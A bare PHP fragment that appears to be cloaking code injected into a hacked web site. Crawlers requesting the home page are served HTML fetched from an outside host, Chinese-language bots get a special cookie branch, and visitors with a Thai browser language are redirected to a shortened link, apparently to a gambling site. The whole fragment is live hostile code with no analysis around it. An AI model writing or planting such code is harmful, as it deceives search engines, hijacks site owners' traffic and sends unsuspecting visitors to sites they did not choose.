$s_ref = $_SERVER['HTTP_REFERER'];
    $agent = $_SERVER['HTTP_USER_AGENT'];
    if (strpos($agent, 'bot') !== false && $_SERVER['REQUEST_URI'] == '/') {
        $accept_lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);
        if (strpos($accept_lang, 'zh') !== false && $_SERVER['HTTP_UPGRADE_INSECURE_REQUESTS'] == 1 && $_COOKIE['az'] == 'lp') {
            setcookie('az', 'lp', time() + 3600 * 7200);
            echo ' '; // Your bot-specific content
            exit;
        }
        echo file_get_contents("https://sure4u.co.uk/wp-content/home/index.html");
        exit;
    }
    $browserLang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
    if ($browserLang == 'th') {
        header("Location: https://swiy.co/go_ufa55");
        exit;
    }